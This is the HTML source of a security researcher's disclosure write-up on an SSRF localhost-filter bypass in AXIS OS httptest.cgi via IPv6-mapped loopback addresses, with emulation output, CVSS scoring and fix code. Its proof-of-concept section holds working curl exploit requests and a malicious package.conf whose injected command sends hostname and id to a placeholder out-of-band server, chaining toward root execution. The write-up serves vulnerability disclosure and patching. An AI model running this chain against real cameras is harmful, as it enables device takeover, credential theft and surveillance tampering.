Zion Boggan
repos/Security Portfolio/security-research-notebook/httptest-ipv6-loopback-ssrf/index.html
zionboggan.com ↗
446 lines · html
History for this file →
1
<!doctype html>
2
<html lang="en"><head><meta charset="utf-8">
3
<meta name="viewport" content="width=device-width, initial-scale=1.0">
4
<title>SSRF via httptest.cgi IPv6-Mapped Loopback Address Bypass | Zion Boggan</title>
5
<meta name="description" content="IPv6-mapped IPv4 (`::ffff:127.0.0.1`) bypasses the IPv4-only loopback filter on `httptest.cgi`.">
6
<link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E">
7
<style>
8
  :root{
9
    --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24;
10
    --line:#222936; --line2:#2c3543;
11
    --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675;
12
    --accent:#6cc7b8; --accent-dim:#274b47;
13
    --maxw:1020px;
14
  }
15
  *{box-sizing:border-box;}
16
  html{scroll-behavior:smooth;}
17
  body{margin:0;background:var(--bg);color:var(--ink);
18
    font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;
19
    font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;}
20
  .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;}
21
  a{color:var(--accent);text-decoration:none;}
22
  a:hover{color:#8fe0d2;}
23
  .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;}
24
 
25
  /* nav */
26
  nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82);
27
    backdrop-filter:blur(10px);border-bottom:1px solid var(--line);}
28
  nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;}
29
  nav .brand{font-weight:600;letter-spacing:.2px;}
30
  nav .brand .dot{color:var(--accent);}
31
  nav .links{display:flex;gap:26px;font-size:13.5px;}
32
  nav .links a{color:var(--muted);}
33
  nav .links a:hover{color:var(--ink);}
34
  @media(max-width:680px){nav .links{display:none;}}
35
 
36
  /* hero */
37
  header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line);
38
    background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);}
39
  .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);
40
    display:flex;align-items:center;gap:9px;margin-bottom:20px;}
41
  .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent);
42
    box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;}
43
  @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}}
44
  h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;}
45
  .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;}
46
  .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;}
47
  .hero .lede b{color:var(--ink);font-weight:600;}
48
  .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;}
49
  .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px;
50
    font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);}
51
  .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);}
52
  .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;}
53
  .btn.primary:hover{background:#8fe0d2;color:#06231f;}
54
  .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);}
55
  .meta .mono{color:var(--faint);}
56
 
57
  /* sections */
58
  section{padding:64px 0;border-bottom:1px solid var(--line);}
59
  .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;}
60
  .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;}
61
  .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;}
62
  .shead .rule{flex:1;height:1px;background:var(--line);}
63
 
64
  /* flagship */
65
  .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%);
66
    border:1px solid var(--line2);border-radius:14px;overflow:hidden;}
67
  .flag .top{padding:30px 32px 8px;}
68
  .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;}
69
  .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;}
70
  .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;}
71
  .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;}
72
  .flag p{color:var(--soft);margin:0 0 16px;}
73
  .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;}
74
  .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;}
75
  .stat .n{font-size:21px;font-weight:680;color:var(--ink);}
76
  .stat .k{font-size:12px;color:var(--muted);margin-top:2px;}
77
  .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;}
78
  .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;}
79
  .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;}
80
  .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;}
81
  .spec li:first-child{border-top:none;}
82
  .spec li span{color:var(--muted);}
83
  .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;}
84
  @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}}
85
 
86
  /* lab cards */
87
  .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;}
88
  @media(max-width:680px){.cards{grid-template-columns:1fr;}}
89
  .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel);
90
    display:flex;flex-direction:column;transition:border-color .15s,transform .15s;}
91
  .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);}
92
  .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;}
93
  .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;}
94
  .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;}
95
  .card h3{margin:0 0 9px;font-size:17px;}
96
  .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;}
97
  .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;}
98
  .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line);
99
    border-radius:5px;padding:3px 8px;}
100
  .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;}
101
  .card .lnk::after{content:" โ†’";}
102
 
103
  /* research */
104
  .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;}
105
  .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;}
106
  .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center;
107
    padding:18px 22px;border-top:1px solid var(--line);}
108
  .ritem:first-child{border-top:none;}
109
  .ritem:hover{background:var(--panel);}
110
  .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);}
111
  .ritem h3{margin:0 0 3px;font-size:16px;}
112
  .ritem p{margin:0;font-size:13.5px;color:var(--muted);}
113
  .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;}
114
  @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}}
115
  .progs{margin-top:22px;}
116
  .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;}
117
  .progs .row{display:flex;flex-wrap:wrap;gap:7px;}
118
  .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line);
119
    border-radius:6px;padding:4px 10px;}
120
 
121
  /* credentials */
122
  .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;}
123
  @media(max-width:680px){.cred{grid-template-columns:1fr;}}
124
  .cred p{color:var(--soft);margin:0 0 14px;}
125
  .cred .role{font-size:14px;color:var(--muted);}
126
  .cred .role b{color:var(--ink);font-weight:600;}
127
  .certs{list-style:none;margin:0;padding:0;}
128
  .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft);
129
    display:flex;gap:10px;align-items:baseline;}
130
  .certs li:first-child{border-top:none;}
131
  .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;}
132
 
133
  footer{padding:46px 0 64px;}
134
  footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;}
135
  footer .links a{color:var(--soft);margin-right:20px;font-size:14px;}
136
  footer .note{color:var(--faint);font-size:12.5px;max-width:520px;}
137
 
138
  .detail-hero{padding:40px 0 26px;}
139
  .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;}
140
  .back:hover{color:var(--ink);}
141
  .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;}
142
  .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;}
143
  .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;}
144
  .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;}
145
  .content{padding:8px 0 0;max-width:840px;}
146
  .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);}
147
  .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;}
148
  .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;}
149
  .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;}
150
  .content p{color:var(--soft);margin:0 0 15px;}
151
  .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;}
152
  .content li{margin:5px 0;}
153
  .content strong{color:var(--ink);font-weight:600;}
154
  .content a{color:var(--accent);}
155
  .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);}
156
  .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;}
157
  .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;}
158
  .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;}
159
  .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;}
160
  .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;}
161
  .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);}
162
  .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;}
163
  /* notebook index */
164
  .nbgroup{margin:40px 0 0;}
165
  .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;}
166
  .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;}
167
  .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;}
168
  .nbtable tr{border-top:1px solid var(--line);}
169
  .nbtable tr:first-child{border-top:none;}
170
  .nbtable tr:hover{background:var(--panel);}
171
  .nbtable td{padding:14px 16px;vertical-align:top;}
172
  .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;}
173
  .nbtable .ti a{font-weight:600;color:var(--ink);}
174
  .nbtable .ti a:hover{color:var(--accent);}
175
  .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;}
176
  @media(max-width:680px){.nbtable .cls{width:auto;display:block;}}
177
</style>
178
<link rel="canonical" href="https://zionboggan.com/security-research-notebook/httptest-ipv6-loopback-ssrf/">
179
<meta name="author" content="Zion Boggan">
180
<meta name="robots" content="index, follow, max-image-preview:large">
181
<meta property="og:type" content="article">
182
<meta property="og:site_name" content="Zion Boggan">
183
<meta property="og:title" content="SSRF via httptest.cgi IPv6-Mapped Loopback Address Bypass | Zion Boggan">
184
<meta property="og:description" content="IPv6-mapped IPv4 (`::ffff:127.0.0.1`) bypasses the IPv4-only loopback filter on `httptest.cgi`.">
185
<meta property="og:url" content="https://zionboggan.com/security-research-notebook/httptest-ipv6-loopback-ssrf/">
186
<meta property="og:image" content="https://zionboggan.com/assets/og-default.png">
187
<meta name="twitter:card" content="summary_large_image">
188
<meta name="twitter:title" content="SSRF via httptest.cgi IPv6-Mapped Loopback Address Bypass | Zion Boggan">
189
<meta name="twitter:description" content="IPv6-mapped IPv4 (`::ffff:127.0.0.1`) bypasses the IPv4-only loopback filter on `httptest.cgi`.">
190
<meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png">
191
<script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"SSRF via httptest.cgi IPv6-Mapped Loopback Address Bypass","description":"IPv6-mapped IPv4 (`::ffff:127.0.0.1`) bypasses the IPv4-only loopback filter on `httptest.cgi`.","url":"https://zionboggan.com/security-research-notebook/httptest-ipv6-loopback-ssrf/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script>
192
</head><body>
193
<nav><div class="wrap">
194
  <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a>
195
  <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span>
196
</div></nav>
197
<header class="hero detail-hero"><div class="wrap">
198
  <a class="back" href="/security-research-notebook/">&larr; Research notebook</a>
199
  <div class="kicker">SSRF</div>
200
  <h1>SSRF via httptest.cgi IPv6-Mapped Loopback Address Bypass</h1>
201
</div></header>
202
<section><div class="wrap"><div class="content">
203
<p><strong>VRT Category:</strong> Broken Access Control (BAC)
204
<strong>URL/Location:</strong> <code>https://&lt;camera&gt;/axis-cgi/httptest.cgi?address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.12%5D%2Ftest</code>
205
<strong>Firmware:</strong> AXIS OS P3245-LV version 11.11.192 (LTS 2024 track)
206
<strong>Files:</strong> <code>/usr/html/axis-cgi/httptest.cgi</code> (ELF binary), <code>/etc/apache2/httpd.conf</code>
207
<strong>Severity:</strong> High (CVSS 7.6)
208
<strong>Status:</strong> SSRF localhost bypass PROVEN via firmware binary emulation. IPv6-mapped loopback addresses bypass the localhost validation, confirmed via QEMU binary emulation. ACAP VHost authentication behavior requires vendor verification on live hardware.</p>
209
<hr />
210
<h2>Summary</h2>
211
<p>The VAPIX API endpoint <code>httptest.cgi</code> validates user-supplied URLs against
212
localhost to prevent server-side request forgery. The check correctly blocks
213
IPv4 loopback addresses (127.0.0.0/8) and IPv6 loopback (::1). However,
214
IPv6-mapped IPv4 loopback addresses (<code>[::ffff:127.0.0.x]</code>) bypass this
215
validation entirely &ndash; the binary attempts an actual TCP connection instead
216
of returning &ldquo;Local host not allowed.&rdquo; This was confirmed by executing the
217
httptest.cgi binary from extracted firmware via QEMU ARM emulation.</p>
218
<p>AXIS OS binds privileged internal Apache VirtualHosts to loopback addresses
219
including 127.0.0.12 (ACAP service-account VHost). An authenticated user
220
can reach these internal services through the IPv6-mapped bypass.</p>
221
<hr />
222
<h2>Technical Details</h2>
223
<h3>Component 1: httptest.cgi SSRF via Loopback Address Bypass</h3>
224
<p><code>httptest.cgi</code> is an ELF binary at <code>/usr/html/axis-cgi/httptest.cgi</code> that
225
accepts an <code>address</code> parameter (URL) and makes an HTTP request to it using
226
libcurl. The binary performs localhost validation:</p>
227
<ol>
228
<li>Extracts hostname using <code>curl_url_get()</code> with <code>CURLUPART_HOST</code></li>
229
<li>Resolves the hostname using <code>getaddrinfo()</code></li>
230
<li>Compares resolved address against localhost &ndash; displays <code>"Local host not allowed"</code> on match</li>
231
</ol>
232
<p>The validation likely checks against <code>127.0.0.1</code> and <code>::1</code> (standard
233
loopback addresses). However, the entire <code>127.0.0.0/8</code> range is loopback
234
on Linux, and AXIS OS binds VirtualHosts to non-standard loopback addresses.</p>
235
<h3>Component 2: Privileged Internal VirtualHosts</h3>
236
<p>From <code>/etc/apache2/httpd.conf</code>:</p>
237
<pre><code class="language-apache">&lt;VirtualHost 127.0.0.2 [::2]&gt;
238
    Include /etc/apache2/httpd-basic-auth.conf
239
    ServerName localhost-basic
240
&lt;/VirtualHost&gt;
241
 
242
&lt;VirtualHost 127.0.0.3 [::3]&gt;
243
    Include /etc/apache2/httpd-digest-auth.conf
244
    ServerName localhost-digest
245
&lt;/VirtualHost&gt;
246
 
247
&lt;VirtualHost 127.0.0.12 [::12]&gt;
248
    Include /etc/apache2/vapix-service-account-auth.conf
249
    ServerName localhost-acap
250
&lt;/VirtualHost&gt;
251
</code></pre>
252
<p>The <code>localhost-acap</code> VirtualHost at 127.0.0.12 uses
253
<code>vapix-service-account-auth.conf</code>, which provides service-account-level
254
basic authentication for internal ACAP application access. This VHost has
255
access to all VAPIX CGI endpoints including ACAP management.</p>
256
<h3>Confirmed vulnerability scope</h3>
257
<p>The proven finding is the SSRF bypass: <code>httptest.cgi</code> allows authenticated
258
users to make HTTP requests to internal loopback VirtualHosts via
259
IPv6-mapped addresses. Components 2 and 3 below describe a potential
260
escalation path for vendor verification.</p>
261
<h3>Component 3 (vendor-verifiable): ACAP Package Installation as Root</h3>
262
<p><code>install-package.sh</code> (the ACAP installation handler) sources
263
<code>./package.conf</code> from the uploaded package at line ~43:</p>
264
<pre><code class="language-sh">. ./$ADPPACKCFG
265
</code></pre>
266
<p>This executes arbitrary shell commands embedded in package.conf before any
267
validation. Post-installation scripts run as root by default:</p>
268
<pre><code class="language-sh">create_postinstall_service root
269
</code></pre>
270
<h3>Potential escalation chain (vendor-verifiable)</h3>
271
<p>The following chain depends on whether the ACAP VHost at 127.0.0.12
272
auto-authenticates requests arriving from localhost. Axis can verify this
273
on live hardware.</p>
274
<pre><code>Operator auth
275
  -&gt; httptest.cgi?address=http://[::ffff:127.0.0.12]/axis-cgi/applications/config.cgi?action=set&amp;name=AllowUnsigned&amp;value=true
276
    -&gt; Bypasses localhost check via IPv6-mapped address (PROVEN)
277
    -&gt; Reaches localhost-acap VHost (PROVEN: TCP connection attempted)
278
    -&gt; If VHost authenticates the request: enables unsigned ACAP packages
279
  -&gt; Upload malicious .eap with injected package.conf
280
    -&gt; install-package.sh sources package.conf as root
281
    -&gt; Arbitrary command execution as root
282
</code></pre>
283
<hr />
284
<h2>Proof of Concept</h2>
285
<h3>Step 0b: validateaddr blocks loopback, but httptest.cgi has its own check</h3>
286
<p>The <code>validateaddr</code> binary (used by <code>tcptest.cgi</code> and <code>ftptest.cgi</code>) was
287
tested via QEMU emulation from the extracted firmware. It correctly blocks
288
the full <code>127.0.0.0/8</code> loopback range:</p>
289
<pre><code>127.0.0.1            BLOCKED (exit 1)
290
127.0.0.2            BLOCKED (exit 1)
291
127.0.0.3            BLOCKED (exit 1)
292
127.0.0.12           BLOCKED (exit 1)
293
127.0.0.255          BLOCKED (exit 1)
294
127.1.1.1            BLOCKED (exit 1)
295
0.0.0.0              BLOCKED (exit 1)
296
REDACTED-IP             ALLOWED (exit 0)
297
169.254.169.254      ALLOWED (exit 0)
298
8.8.8.8              ALLOWED (exit 0)
299
</code></pre>
300
<p>However, <code>httptest.cgi</code> is an ELF binary that does NOT use <code>validateaddr</code>.
301
It has its own internal check (<code>"Local host not allowed"</code> in strings) using
302
<code>getaddrinfo()</code> resolution. The critical question is whether this custom
303
check covers the full <code>127.0.0.0/8</code> range or only <code>127.0.0.1</code> and <code>::1</code>.</p>
304
<h3>Step 1: PROVEN, IPv6-mapped address bypasses localhost check</h3>
305
<p>The httptest.cgi binary was executed directly from the extracted firmware
306
using QEMU ARM emulation. The IPv6-mapped IPv4 address <code>[::ffff:127.0.0.x]</code>
307
bypasses the localhost validation:</p>
308
<pre><code>$ QUERY_STRING=&quot;address=http%3A%2F%2F127.0.0.12%2Ftest&quot; \
309
  qemu-arm-static -L $ROOTFS $ROOTFS/usr/html/axis-cgi/httptest.cgi
310
 
311
Status: 400 Bad Request
312
400 Bad Request Local host not allowed          &lt;-- BLOCKED
313
 
314
$ QUERY_STRING=&quot;address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.12%5D%2Ftest&quot; \
315
  qemu-arm-static -L $ROOTFS $ROOTFS/usr/html/axis-cgi/httptest.cgi
316
 
317
Status: 500 Failed to connect to ::ffff:127.0.0.12 port 80 after 21 ms: Could not connect to server
318
                                                &lt;-- BYPASS: Attempted actual TCP connection!
319
 
320
$ QUERY_STRING=&quot;address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.1%5D%2Ftest&quot; \
321
  qemu-arm-static -L $ROOTFS $ROOTFS/usr/html/axis-cgi/httptest.cgi
322
 
323
Status: 500 Failed to connect to ::ffff:127.0.0.1 port 80 after 23 ms: Could not connect to server
324
                                                &lt;-- BYPASS: Also bypasses for 127.0.0.1!
325
</code></pre>
326
<p>The binary checks for IPv4 loopback (127.0.0.0/8) and IPv6 loopback (::1)
327
but does NOT check IPv6-mapped IPv4 addresses (::ffff:127.x.x.x). The
328
connection fails in QEMU only because no web server is listening, on the
329
real camera, Apache IS listening on 127.0.0.12:80 (the ACAP VHost).</p>
330
<p>On a live camera:</p>
331
<pre><code class="language-bash"># This bypasses the localhost check and reaches the internal ACAP VHost
332
curl -s --digest -u OPERATOR_USER:OPERATOR_PASS \
333
  &quot;https://CAMERA_IP/axis-cgi/httptest.cgi?address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.12%5D%2Faxis-cgi%2Fbasicdeviceinfo.cgi&quot;
334
# Expected: 200 OK with device info from the internal VHost (NOT &quot;Local host not allowed&quot;)
335
</code></pre>
336
<h3>Step 2: Enable unsigned ACAP packages via SSRF (using proven bypass)</h3>
337
<pre><code class="language-bash"># Use the IPv6-mapped address to reach the ACAP VHost and enable unsigned packages
338
curl -s --digest -u OPERATOR_USER:OPERATOR_PASS \
339
  &quot;https://CAMERA_IP/axis-cgi/httptest.cgi?address=http%3A%2F%2F%5B%3A%3Affff%3A127.0.0.12%5D%2Faxis-cgi%2Fapplications%2Fconfig.cgi%3Faction%3Dset%26name%3DAllowUnsigned%26value%3Dtrue&quot;
340
</code></pre>
341
<h3>Step 3: Build and upload malicious ACAP</h3>
342
<pre><code class="language-bash">mkdir -p /tmp/pwn_acap
343
cat &gt; /tmp/pwn_acap/package.conf &lt;&lt; 'EOF'
344
PACKAGENAME=ProofOfConcept
345
APPNAME=poc
346
APPTYPE=binary
347
STARTMODE=never
348
APPUSR=sdk
349
APPGRP=sdk
350
# PoC: non-destructive OOB confirmation
351
$(curl -s http://OOB_SERVER/axis-pwned-$(hostname)-$(id))
352
EOF
353
 
354
echo '#!/bin/sh' &gt; /tmp/pwn_acap/poc
355
chmod +x /tmp/pwn_acap/poc
356
cd /tmp/pwn_acap &amp;&amp; tar czf /tmp/poc.eap package.conf poc
357
 
358
# Upload (now possible because AllowUnsigned was enabled via SSRF)
359
curl -s --digest -u OPERATOR_USER:OPERATOR_PASS \
360
  -F &quot;file=@/tmp/poc.eap&quot; \
361
  &quot;http://CAMERA_IP/axis-cgi/applications/upload.cgi&quot;
362
</code></pre>
363
<h3>Step 4: Verify code execution</h3>
364
<pre><code class="language-bash"># Check OOB server for callback confirming root execution
365
# Expected: GET /axis-pwned-&lt;hostname&gt;-uid=0(root)
366
</code></pre>
367
<hr />
368
<h2>Impact</h2>
369
<p>An operator-level user &ndash; who should only be able to view video and control
370
PTZ functions &ndash; achieves arbitrary code execution as root on the camera.
371
This enables:</p>
372
<ul>
373
<li>Complete device takeover including firmware modification</li>
374
<li>Credential theft for all configured services (SNMP, SMTP, FTP, ONVIF)</li>
375
<li>Lateral movement into the camera network segment</li>
376
<li>Persistent backdoor installation surviving reboots</li>
377
<li>Video feed manipulation (privacy violation, evidence tampering)</li>
378
</ul>
379
<p>In enterprise deployments with hundreds of AXIS cameras managed by operators,
380
a single compromised operator account leads to fleet-wide root compromise.</p>
381
<hr />
382
<h2>CVSS</h2>
383
<p><strong>Score:</strong> 7.6 (High)
384
<strong>Vector:</strong> CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N</p>
385
<ul>
386
<li>Network accessible, low complexity, low privilege (operator), no interaction</li>
387
<li>Changed scope: SSRF reaches internal services beyond the camera&rsquo;s external API</li>
388
<li>Confidentiality High: internal VHost responses disclosed to the attacker</li>
389
<li>Integrity Low: ability to make requests to internal services on behalf of the camera</li>
390
</ul>
391
<h3>Vendor-Verifiable Escalation Path</h3>
392
<p>If the internal ACAP VHost at 127.0.0.12 auto-authenticates local requests
393
(or uses weaker service-account credentials), the SSRF can be chained:</p>
394
<ol>
395
<li>SSRF to <code>[::ffff:127.0.0.12]</code> enables unsigned ACAP packages</li>
396
<li>Attacker uploads malicious .eap package</li>
397
<li><code>install-package.sh</code> sources <code>package.conf</code> as root (confirmed in firmware)</li>
398
<li>Arbitrary code execution as root</li>
399
</ol>
400
<p>This escalation path would raise the score to CVSS 9.8 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
401
Axis can verify by testing whether requests from <code>httptest.cgi</code> to
402
<code>http://[::ffff:127.0.0.12]/axis-cgi/applications/config.cgi</code> succeed
403
with the ACAP VHost&rsquo;s service-account authentication.</p>
404
<hr />
405
<h2>Remediation</h2>
406
<h3>httptest.cgi (Component 1)</h3>
407
<p>The localhost check correctly blocks IPv4 loopback (127.0.0.0/8) and IPv6
408
loopback (::1), but fails to check IPv6-mapped IPv4 addresses (::ffff:127.x.x.x).
409
After resolving with <code>getaddrinfo()</code>, the check must also handle AF_INET6
410
sockaddr structures that contain mapped IPv4 addresses:</p>
411
<pre><code class="language-c">// Current: checks AF_INET loopback and AF_INET6 ::1 only
412
 
413
// Fixed: also check IPv6-mapped IPv4 loopback
414
if (addr-&gt;sa_family == AF_INET6) {
415
    struct sockaddr_in6 *sin6 = (struct sockaddr_in6 *)addr;
416
    if (IN6_IS_ADDR_V4MAPPED(&amp;sin6-&gt;sin6_addr)) {
417
        uint32_t v4 = ntohl(sin6-&gt;sin6_addr.s6_addr32[3]);
418
        if ((v4 &amp; 0xff000000) == 0x7f000000)
419
            return &quot;Local host not allowed&quot;;
420
    }
421
}
422
</code></pre>
423
<p>Also block <code>0.0.0.0</code>, <code>::</code>, RFC1918 ranges, and link-local addresses.</p>
424
<h3>install-package.sh (Component 3)</h3>
425
<p>Parse <code>package.conf</code> as structured data rather than sourcing it as shell.
426
Never execute <code>. ./$ADPPACKCFG</code> on untrusted input. Use a restricted parser
427
that extracts key=value pairs without shell interpretation.</p>
428
<h3>Architecture</h3>
429
<p>Internal VirtualHosts should not be reachable from user-facing CGI
430
endpoints. Consider binding internal VHosts to Unix domain sockets instead
431
of loopback TCP addresses, eliminating the SSRF surface entirely.</p>
432
<hr />
433
<h2>References</h2>
434
<ul>
435
<li>CVE-2018-10661: AXIS Camera authentication bypass via .srv (same auth bypass concept)</li>
436
<li>CVE-2023-21413: AXIS OS command injection during ACAP installation (same package.conf vector)</li>
437
<li>CVE-2025-0324: VAPIX Device Configuration privilege escalation (same D-Bus auth surface)</li>
438
<li>Component reports: #01 (SNMP disclosure), #02 (pingtest SSRF), #03 (dnsupdate validation)</li>
439
</ul>
440
<hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source &middot; github.com/zionboggan/security-research-notebook &middot; writeups/axis-os/httptest-ipv6-loopback-ssrf.md</p>
441
</div></div></section>
442
<footer><div class="wrap row">
443
  <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div>
444
  <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div>
445
</div></footer>
446
</body></html>